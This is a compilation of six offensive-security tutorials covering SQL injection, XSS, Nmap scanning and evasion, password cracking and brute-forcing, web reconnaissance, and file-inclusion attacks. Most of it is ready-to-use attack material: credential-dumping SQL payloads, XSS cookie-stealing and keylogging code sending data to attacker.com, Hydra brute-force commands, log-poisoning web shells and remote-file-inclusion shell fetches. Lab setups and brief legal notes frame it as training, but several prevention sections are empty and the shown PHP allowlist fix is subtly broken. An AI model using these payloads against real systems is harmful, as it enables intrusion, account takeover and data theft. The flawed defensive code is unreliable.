SQL Injection – From Discovery to Exploitation
What is SQL Injection?
SQL Injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's input fields. When the application fails to properly sanitize user input before incorporating it into SQL queries, the attacker can manipulate database operations — reading, modifying, or deleting data they shouldn't have access to.
Types of SQL Injection
In-band SQLi uses the same channel for attack and data retrieval. This includes:
Blind SQLi occurs when the application returns generic responses but differences in response behavior can be observed:
Out-of-band SQLi uses alternative channels (e.g., DNS, HTTP requests) to exfiltrate data when direct response is unavailable.
Identifying SQL Injection
Test every input vector — URL parameters, POST data, headers, cookies:
' OR '1'='1
' OR 1=1--
" OR 1=1--
' UNION SELECT NULL--
' AND SLEEP(5)--Monitor for database errors, page content differences, and timing delays.
Union-Based Exploitation
First, determine the number of columns:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- # repeat until errorOnce column count is known, find string-compatible columns:
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--Extract database metadata:
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='target_db'--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--Dump credentials:
' UNION SELECT 1,username,password FROM users--Blind Boolean-Based SQLi
When no data is displayed but true/false conditions change the response:
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'--Repeat character by character. Automate with Python or sqlmap.
Blind Time-Based SQLi
When response content is always identical, use timing:
' IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)--
' IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b', SLEEP(3), 0)--Second-Order SQLi
Malicious input is stored in the database and triggers later when used unsafely in another query. For example, registering a username like admin'-- that executes SQL when retrieved by the profile page.
Prevention
Lab Practice
Set up a local vulnerable environment:
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwaPractice workflow:
1. Intercept requests with Burp Suite.
2. Fuzz parameters with ', ", \, ;.
3. Confirm SQLi by injecting ' OR '1'='1' -- -.
4. Determine column count with ORDER BY.
5. Find string columns with UNION SELECT 'test'.
6. Extract table/column names from information_schema.
7. Dump credentials.
8. Repeat with blind techniques (Boolean and time-based).
9. Automate the process using sqlmap -u "http://target/page?id=1" --dbs.
---
# Tutorial 2: Cross-Site Scripting (XSS) – Understanding and Exploiting Client-Side Attacks
What is XSS?
Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. Unlike SQLi which targets databases, XSS targets the browser — enabling session hijacking, defacement, phishing, keylogging, and data theft.
Types of XSS
Reflected XSS — the injected script is part of the request (e.g., URL parameter) and is immediately reflected in the response. The victim must click a crafted link.
http://target.com/search?q=<script>alert('XSS')</script>Stored XSS — the payload is persistently stored on the server (e.g., in a comment, profile field, forum post) and served to every visitor.
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>DOM-Based XSS — the vulnerability exists in client-side JavaScript that writes attacker-controlled data into the DOM unsafely.
// Vulnerable
document.getElementById('output').innerHTML = location.hash.substring(1);
// Attacker visits: http://target.com/page#<img src=x onerror=alert(1)>Finding XSS
Inject probe payloads into all input vectors:
<script>alert(1)</script>
"><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
'"><img src=x onerror=prompt(1)>Check contexts: HTML element content, HTML attributes, JavaScript string, CSS, URL.
Bypassing Filters
When basic tags are blocked:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">Encoding bypasses:
<script>alert(1)</script> # HTML entities
%3Cscript%3Ealert(1)%3C%2Fscript%3E # URL encoding
\\u003cscript\\u003e # Unicode escapes in JSEvent handler bypass: try onfocus, onmouseover, onload, onerror, onclick, ontoggle, onpointerenter.
Exploitation Scenarios
Session hijacking:
document.location='http://attacker.com/steal.php?c='+document.cookieKeylogging:
document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.key}Phishing overlay:
document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white"><h2>Session Expired</h2><form><input name=user><input type=password name=pass><input type=submit></form></div>';Port scanning from browser:
for(let i=1;i<255;i++){let img=new Image();img.src='http://192.168.1.'+i+':8080';}Prevention
```
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
```
Lab Practice
# DVWA has XSS challenges built in
docker start <dvwa_container>
# Or use bWAPP
docker pull raesene/bwapp
docker run -d -p 8080:80 raesene/bwappPractice workflow:
1. Locate reflected XSS in search parameters.
2. Craft session-stealing payload.
3. Set up an attacker listener (nc -lvnp 80 or a simple PHP server).
4. Bypass a filter using event handlers or encoding.
5. Find and exploit stored XSS in a comment field.
6. Identify DOM-based XSS by auditing JavaScript source.
7. Implement a CSP bypass using allowed CDN endpoints.
---
# Tutorial 3: Port Scanning with Nmap – A Complete Guide
Installation
# Debian/Ubuntu
sudo apt install nmap
# Arch
sudo pacman -S nmap
# macOS
brew install nmap
# Build from source
git clone https://github.com/nmap/nmap.git
cd nmap && ./configure && make && sudo make installBasic Scanning
# Scan a single host
nmap target.com
# Scan by IP
nmap 192.168.1.1
# Scan multiple hosts
nmap 192.168.1.1-100
# Scan from file
nmap -iL targets.txtPort Specification
# Scan specific ports
nmap -p 22,80,443 target.com
# Scan range
nmap -p 1-1000 target.com
# Scan all ports (65535)
nmap -p- target.com
# Scan top 100 ports
nmap --top-ports 100 target.com
# Scan by service name
nmap -p http,https,ssh target.comScan Types
SYN scan (stealth, default with root):
sudo nmap -sS target.comSends SYN, receives SYN/ACK (open) or RST (closed). Never completes the handshake — stealthier but detectable by modern IDS.
Connect scan:
nmap -sT target.comCompletes the full TCP handshake. Required when running without root privileges. More detectable.
UDP scan:
sudo nmap -sU target.comUDP scanning is slower due to connectionless protocol. Add --max-rtt-timeout for speed.
Ping scan (host discovery):
nmap -sn 192.168.1.0/24Discovers live hosts without port scanning.
Version Detection
nmap -sV target.com
nmap -sV --version-intensity 9 target.com # stronger probesIdentifies exact service versions (e.g., Apache httpd 2.4.51) — critical for vulnerability matching.
OS Detection
sudo nmap -O target.comUses TCP/IP stack fingerprinting. Combine with -A for aggressive detection:
sudo nmap -A target.comNSE Scripts
Nmap Scripting Engine extends functionality enormously:
# Run default safe scripts
nmap -sC target.com
# Run specific script category
nmap --script vuln target.com
# Run specific script
nmap --script http-enum target.com
# Multiple scripts
nmap --script http-headers,ssl-enum-ciphers target.com
# Script with arguments
nmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt target.com
# List all scripts
ls /usr/share/nmap/scripts/Useful script categories: vuln, exploit, brute, discovery, safe, intrusive.
Output Formats
# Normal output
nmap -oN scan.txt target.com
# XML (for parsing)
nmap -oX scan.xml target.com
# Grepable
nmap -oG scan.gnmap target.com
# All formats
nmap -oA scan target.comEvasion Techniques
# Fragment packets
nmap -f target.com
# Decoy scan (noise from fake source IPs)
nmap -D RND:10 target.com
# Spoof MAC address
nmap --spoof-mac DE:AD:BE:EF:00:00 target.com
# Idle zombie scan
nmap -sI zombie_ip target.com
# Randomize scan order
nmap --randomize-hosts target.com
# Set custom source port
nmap --source-port 53 target.com
# Use different timing template
nmap -T0 target.com # Paranoid (slowest, least detectable)
nmap -T1 target.com # Sneaky
nmap -T2 target.com # Polite
nmap -T3 target.com # Normal (default)
nmap -T4 target.com # Aggressive (fast, detectable)
nmap -T5 target.com # Insane (very fast, very detectable)Performance Tuning
# Min/max rate
nmap --min-rate 1000 --max-rate 5000 target.com
# Parallelism
nmap --min-parallelism 50 --max-parallelism 100 target.com
# Timing
nmap --min-rtt-timeout 10ms --max-rtt-timeout 100ms --initial-rtt-timeout 50ms target.com
# Host timeout
nmap --host-timeout 5m target.comInterpreting Results
Reconnaissance Workflow
1. Host discovery: nmap -sn 10.0.0.0/24 — find live targets.
2. Port scanning: sudo nmap -sS -p- --min-rate 5000 target — find all open ports.
3. Service identification: nmap -sV -sC -p 22,80,443 target — version + default scripts.
4. Deep enumeration: nmap --script vuln,http-enum,smb-enum* target — vulnerability and detail scripts.
5. OS detection: sudo nmap -O target — identify target OS.
Lab Practice
# Scan your local network
sudo nmap -sn 192.168.1.0/24
# Set up a test target
docker pull nginx
docker run -d -p 8080:80 nginx
sudo nmap -sV -p 8080 localhost
# Scan Metasploitable (download first)
# https://sourceforge.net/projects/metasploitable/
nmap -A -T4 metasploitable_ip
# Write a custom NSE script
# Save as /usr/share/nmap/scripts/my-script.nseExample custom NSE script:
description = [[Simple port banner grabber]]
author = "tutorial"
categories = {"safe"}
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
prerule = function() end
action = function(host, port)
local socket = nmap.new_socket()
local status = socket:connect(host, port)
if not status then return end
local banner = socket:receive()
socket:close()
return banner
end---
# Tutorial 4: Password Cracking – Methods, Tools, and Defenses
Understanding Hash Types
Hashes are one-way cryptographic functions that convert passwords into fixed-length strings. Common hash types encountered in penetration testing:
| Hash Type | Length | Example |
|-----------|--------|---------|
| MD5 | 32 hex | 5f4dcc3b5aa765d61d8327deb882cf99 |
| SHA-1 | 40 hex | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 |
| SHA-256 | 64 hex | ef92b778bafe771f8920b5a11e2a5a3b4b6f5c1c8b9a0d1e2f3a4b5c6d7e8f9 |
| bcrypt | 60 chars | $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy |
| NTLM | 32 hex | b4b9b02e6f09a9bd760f388b67351e2b |
| LM | 32 hex | aad3b435b51404eeaad3b435b51404ee |
Wordlist Attacks
Hashcat (GPU-accelerated):
# Identify hash type
hashcat --identify hash.txt
# Basic wordlist attack (mode 0)
hashcat -m 0 -a 0 hash.txt rockyou.txt
# With rules (mode 0 + rules)
hashcat -m 0 -a 0 hash.txt rockyou.txt -r best64.rule
# Show cracked hashes
hashcat -m 0 hash.txt --show
# Benchmark
hashcat -b -m 0John the Ripper:
# Auto-detect hash type
john hash.txt
# Specify format
john --format=raw-md5 hash.txt
# With wordlist
john --wordlist=rockyou.txt hash.txt
# Show results
john --show hash.txtMask Attacks
When password patterns are known but no wordlist covers them:
# 8-character numeric
hashcat -m 0 -a 3 hash.txt ?d?d?d?d?d?d?d?d
# 8-char lowercase
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?l?l
# Capital + 5 lowercase + 2 digits (e.g., Password01)
hashcat -m 0 -a 3 hash.txt ?u?l?l?l?l?l?d?d
# Custom charset: upper+lower+digit, 8 chars
hashcat -m 0 -a 3 -1 ?u?l?d hash.txt ?1?1?1?1?1?1?1?1Placeholders: ?l = lowercase, ?u = uppercase, ?d = digit, ?s = special, ?a = all.
Hybrid Attacks
Combine wordlist + mask:
# Word + 2 digits (password -> password12)
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d
# 2 digits + word (12password)
hashcat -m 0 -a 7 hash.txt ?d?d rockyou.txtRainbow Tables
Precomputed tables of hash chains — trade storage for speed. Generate or download tables for common hash types:
# Using rcracki_mt
rcracki_mt . -h 5d41402abc4b2a76b9719d911017c592
# Limitations: useless against salted hashes.GPU Acceleration
Hashcat leverages GPU for massive parallelization:
# List devices
hashcat -I
# On NVIDIA (CUDA)
hashcat -m 0 -a 0 hash.txt rockyou.txt --force
# On AMD (OpenCL)
hashcat -m 0 -a 0 hash.txt rockyou.txt -d 2
# Speed comparison: RTX 4090 cracks ~200 GH/s for NTLMOnline vs Offline Cracking
Offline cracking — attacker has the hash file. Unlimited attempts limited only by hardware.
Online cracking — attacking a live login page or protocol:
# Hydra: SSH brute-force
hydra -l admin -P rockyou.txt ssh://target.com
# Hydra: HTTP form
hydra -l admin -P rockyou.txt target.com http-post-form "/login:user=admin&pass=^PASS^:F=Invalid"
# Hydra: FTP
hydra -L users.txt -P rockyou.txt ftp://target.comCredential Stuffing
Bulk-testing breached credentials across multiple services. Use pre-compiled combolists with tools like OpenBullet, SentryMBA, or custom curl scripts.
Salting
Salting appends a per-user random value before hashing:
hash = SHA256(password + random_salt)Password Complexity vs Length
| Metric | Effectiveness |
|--------|---------------|
| 8-char complex (Tr0ub4dor&3) | ~2^44 entropy |
| 12-char random lower | ~2^56 entropy |
| 4-word passphrase (correct-horse-battery-staple) | ~2^44 entropy |
| Minimum: 12+ characters, no dictionary words, avoid patterns |
Length > complexity: correct-horse-battery-staple is more memorable and harder to crack than Tr0ub4dor&3.
Defensive Hardening
Legal Considerations
Only crack passwords on systems you own or have explicit written authorization to test. Unauthorized password cracking is illegal under CFAA, Computer Misuse Act, and similar laws worldwide.
Lab Practice
# Generate test hashes
echo -n "password123" | md5sum > hashes.txt
echo -n "admin2024!" | sha256sum >> hashes.txt
# Use Hashcat with rockyou
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt.gz
# Crack a bcrypt hash
hashcat -m 3200 -a 0 bcrypt_hash.txt rockyou.txt
# Brute-force with mask (4-digit PIN)
hashcat -m 0 -a 3 pin_hash.txt ?d?d?d?d
# John the Ripper on /etc/shadow (if you have root on lab VM)
sudo unshadow /etc/passwd /etc/shadow > crackme.txt
john crackme.txt
# Online attack with Hydra on a test service
docker run -d -p 2222:22 rastasheep/ubuntu-sshd:18.04
hydra -l root -P rockyou.txt ssh://localhost -s 2222---
# Tutorial 5: Web Application Reconnaissance – Information Gathering for Penetration Testing
The Reconnaissance Mindset
Reconnaissance is the most critical phase of penetration testing. The more you know about your target, the more attack surface you can identify. Recon splits into passive (no direct interaction with the target) and active (direct probing).
Passive Reconnaissance
Google Dorking
Use Google search operators to find exposed information:
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
inurl:".env" site:target.com
site:target.com ext:sql OR ext:bak
link:target.com
cache:target.comShodan
Search for internet-connected devices associated with the target:
org:"Target Organization"
hostname:"target.com"
ssl:"target.com"
http.title:"login" port:443WHOIS Lookup
whois target.comReveals registrant details, name servers, registration dates, and often raw contact information (unless privacy-protected).
DNS Enumeration
# Basic DNS query
dig target.com ANY
# Zone transfer (rarely works but worth trying)
dig axfr @ns1.target.com target.com
# MX records
dig mx target.com
# NS records
dig ns target.com
# TXT records (SPF, DKIM, DMARC)
dig txt target.comSubdomain Enumeration
# Using Sublist3r
sublist3r -d target.com
# Using Amass
amass enum -d target.com
# Using Subfinder
subfinder -d target.com
# DNS brute-force
for sub in $(cat subdomains.txt); do host $sub.target.com | grep "has address"; doneCertificate Transparency
# Using crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Using certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'Technology Identification
# WhatWeb
whatweb target.com
# Wappalyzer CLI
wappalyzer-cli https://target.com
# BuiltWith API
curl "https://api.builtwith.com/v19/api.json?KEY=yourkey&LOOKUP=target.com"Identify CMS (WordPress, Drupal), JavaScript frameworks, CDN, web server, analytics, and known vulnerabilities.
Active Reconnaissance
Port Scanning
# Quick scan for common web ports
nmap -p 80,443,8080,8443 target.com -oN web_ports.txt
# Full port scan
sudo nmap -sS -p- --min-rate 5000 target.com -oN full_scan.txt
# Service and version detection
nmap -sV -sC -p $(cat web_ports.txt | grep open | cut -d/ -f1 | paste -sd,) target.comWeb Spidering
# Using dirsearch
dirsearch -u https://target.com -e php,html,asp,txt,js -t 50
# Using GoBuster
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
# Using wfuzz for recursive discovery
wfuzz -c -w common.txt --hc 404 https://target.com/FUZZ/FUZZDirectory Brute-Forcing
Specialized wordlists for different contexts:
# Common directories
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
# Admin panels
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/Admin_Panels.txt
# Tech-specific (WordPress)
gobuster dir -u https://target.com/wp-content -w wp-content_plugins.txtParameter Discovery
# Using Arjun
arjun -u https://target.com/api/endpoint
# Using ParamSpider
paramspider -d target.com
# Fuzz parameters with ffuf
ffuf -u "https://target.com/page?FUZZ=test" -w params.txt -fc 400,404API Enumeration
# Discover API endpoints
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Fuzz API versions
ffuf -u "https://target.com/api/FUZZ/users" -w api_versions.txt
# Check for GraphQL
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__typename}"}'CMS Fingerprinting
# WordPress
wpscan --url https://target.com -e ap,at,tt,cb,dbe,u
# Joomla
perl joomscan.pl -u https://target.com
# Drupal
droopescan scan drupal -u https://target.comCloud/CDN Detection
# Check if behind CDN
dig target.com # Check for Cloudflare/Akamai/CloudFront IPs
# Find real IP
# - Check MX records (often point to origin)
# - Check SSL certificate IPs on crt.sh
# - Shodan search for SSL cert hash
# Using CloudFail
cloudfail -t target.comWayback Machine
# Fetch historical URLs
curl "http://web.archive.org/cdx/search/cdx?url=*.target.com&output=json&fl=original" | jq -r '.[] | .[0]' | sort -u
# Using waybackurls
waybackurls target.com | sort -u > wayback_urls.txtHistorical URLs often reveal backup files, old endpoints, exposed configs, and parameters no longer in use but still functional.
Social Engineering Recon
Automation
# Recon-ng
recon-ng
> use recon/domains-hosts/certificate_transparency
> set source target.com
> run
# FinalRecon
finalrecon --full https://target.com
# Sn1per
sniper -t target.comLab Practice
# Set up a target
docker pull vulhub/vulhub
docker run -d -p 8080:80 vulhub/vulhub
# Practice full recon workflow
# 1. Passive: Google dork, crt.sh, Shodan, whois
# 2. DNS: dig, sublist3r, amass
# 3. Tech: whatweb, wappalyzer
# 4. Active: nmap port scan
# 5. Web: gobuster, dirsearch, ffuf
# 6. Archive: waybackurls
# 7. API: arjun, paramspider
# Build a comprehensive wordlist from findings
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/*.//' | sort -u > subdomains.txt---
# Tutorial 6: Understanding and Exploiting File Inclusion Vulnerabilities
LFI vs RFI
Local File Inclusion (LFI) — an attacker includes files already present on the target server. This allows reading sensitive files (e.g., /etc/passwd, config files, source code) and can lead to Remote Code Execution.
Remote File Inclusion (RFI) — an attacker includes an external file (e.g., from an attacker-controlled server). RFI almost always leads to RCE if allow_url_include is enabled.
Vulnerable PHP pattern:
<?php
$page = $_GET['page'];
include($page . '.php');
?>Path Traversal Techniques
Basic directory traversal:
http://target.com/index.php?page=../../../etc/passwd
http://target.com/index.php?page=..\..\..\windows\win.iniWhen .php is appended, use the null byte (works in PHP < 5.3.4):
http://target.com/index.php?page=../../../etc/passwd%00Encoded Traversal
WAF and input validation bypasses:
# URL encoding
http://target.com/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
# Double URL encoding
http://target.com/?page=%252e%252e%252f%252e%252e%252fetc/passwd
# 16-bit Unicode encoding
http://target.com/?page=..%252f..%252f..%252fetc/passwd
# Path truncation (older PHP, max path ~4096)
http://target.com/?page=../../../etc/passwd/././././././.[...]/.phpNull Byte Injection
Terminates strings in PHP < 5.3.4 to bypass .php concatenation:
http://target.com/index.php?page=../../../etc/passwd%00
http://target.com/index.php?page=../../../etc/hosts%00Log Poisoning
Convert LFI to RCE by injecting PHP code into server logs, then including the log file.
Apache access log poisoning:
# Inject PHP code into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include the log file via LFI
http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=idSSH log poisoning (if SSH access is possible):
# Attempt SSH with PHP code as username
ssh "<?php system(\$_GET['cmd']); ?>"@target.com
# Include auth log
http://target.com/index.php?page=../../../var/log/auth.log&cmd=idMail log poisoning:
# Send email with PHP payload in headers
# Then include /var/mail/www-data or /var/log/mail.logphp:// Wrappers
PHP wrappers enable file read and RCE through LFI.
php://filter (base64 encode file contents):
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=../../../etc/passwdDecode the result with base64 -d to view source code.
php://input (POST data execution):
POST http://target.com/index.php?page=php://input
Content-Type: text/plain
<?php system('id'); ?>Requires allow_url_include=On and allow_url_fopen=On.
data:// Wrapper
RFI without a remote server:
http://target.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==The base64 decodes to . Requires allow_url_include=On.
File Upload + LFI Chaining
When LFI exists alongside file upload:
1. Upload an image containing PHP payload:
# Create malicious image
echo '<?php system($_GET["cmd"]); ?>' > shell.php
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg2. Upload it through the application (it saves to e.g., /uploads/user_avatar.jpg).
3. Include the uploaded file via LFI:
http://target.com/index.php?page=../../../uploads/user_avatar.jpg&cmd=cat /etc/passwdSession Injection
PHP stores session data in files (typically /tmp/sess_). If you can control session data (e.g., via username, profile fields), inject PHP code:
# Set username to: <?php system('id'); ?>
# Then include session file
http://target.com/index.php?page=../../../tmp/sess_abc123Detection
Look for URL patterns:
?page=home
?file=about
?include=contact
?path=main
?template=default
?view=indexTest these with:
?page=../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input (POST <?php phpinfo(); ?>)
?page=data://text/plain,testCheck for errors — missing files reveal inclusion paths and confirm the vulnerability.
Prevention
```
allow_url_include = Off
allow_url_fopen = Off
```
```php
$allowed = ['home', 'about', 'contact'];
if (in_array($_GET['page'], $allowed)) {
include($allowed[$_GET['page']] . '.php');
}
```
Lab Practice
# Set up a vulnerable environment
docker pull vulnerables/cve-2014-3704 # Drupalgeddon with LFI
docker pull webgoat/webgoat-8.0 # WebGoat has LFI lessons
# Or use the PHPMailer + LFI lab
docker run -d -p 8080:80 tuxotron/phpmailer-lfi
# Manual LFI testing
curl "http://target.com/index.php?page=../../../etc/passwd"
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php"
# Automated scanning
ffuf -u "http://target.com/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fw 0
# Log poisoning practice
# 1. Find LFI in application
# 2. Inject PHP payload in User-Agent:
curl -A "<?php system('id'); ?>" http://target.com/
# 3. Include the Apache log
curl "http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"
# RFI practice (requires allow_url_include)
# Host a payload:
python3 -m http.server 9999
curl "http://target.com/index.php?page=http://your_ip:9999/shell.txt&cmd=id"